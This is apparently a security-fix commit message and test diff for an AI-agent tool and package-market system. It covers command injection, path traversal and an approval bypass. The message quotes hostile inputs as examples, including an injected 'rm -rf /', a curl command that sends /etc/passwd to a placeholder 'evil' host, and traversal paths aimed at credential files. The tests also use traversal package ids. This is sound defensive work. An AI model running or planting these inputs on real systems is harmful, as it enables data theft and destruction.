Fix command injection, path traversal, and approval bypass in tool/market layer

A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>

tests/test_market.py

@@ -245,6 +245,16 @@ class TestSandboxChecker:
         report = checker.validate(package)
         assert report.passed is False
 
+    def test_traversal_id_errors(self):
+        """A package id used as a path component must not allow path traversal."""
+        package = OPCPackage(
+            manifest=OPCPackageManifest(id="../../projects/victim", name="Evil"),
+        )
+        checker = SandboxChecker()
+        report = checker.validate(package)
+        assert report.passed is False
+        assert any("id" in e for e in report.errors)
+
 
 # ---------------------------------------------------------------------------
 # Loader Tests
@@ -356,6 +366,25 @@ class TestPackageLoader:
         assert not (opc_home / "prompts" / "market" / "test-pkg").exists()
         assert not (opc_home / "prompts" / "talent" / "test-pkg:analyst-tmpl.md").exists()
 
+    @pytest.mark.parametrize("bad_id", ["../../projects/victim", "..", "/etc", "a/b", "UPPER", "a b"])
+    def test_write_prompts_rejects_traversal_id(self, tmp_path: Path, bad_id: str):
+        """A traversal/malformed package id must not escape the market directory."""
+        opc_home = tmp_path / ".opc"
+        opc_home.mkdir(exist_ok=True)
+        loader = PackageLoader(OPCConfig(), opc_home)
+        with pytest.raises(ValueError):
+            loader._write_prompts(bad_id, {"analyst.md": "payload"})
+        # Nothing was written outside the market tree.
+        assert not (tmp_path / "projects").exists()
+
+    def test_uninstall_rejects_traversal_id(self, tmp_path: Path):
+        """uninstall() must refuse to rmtree a traversed path."""
+        opc_home = tmp_path / ".opc"
+        opc_home.mkdir(exist_ok=True)
+        loader = PackageLoader(OPCConfig(), opc_home)
+        with pytest.raises(ValueError):
+            loader.uninstall("../../projects/victim")
+
     def test_uninstall_removes_org_assets_without_runtime_topology(self, tmp_path: Path):
         """Uninstall removes org assets; runtime topology cleanup is no longer part of packages."""
         opc_home = tmp_path / ".opc"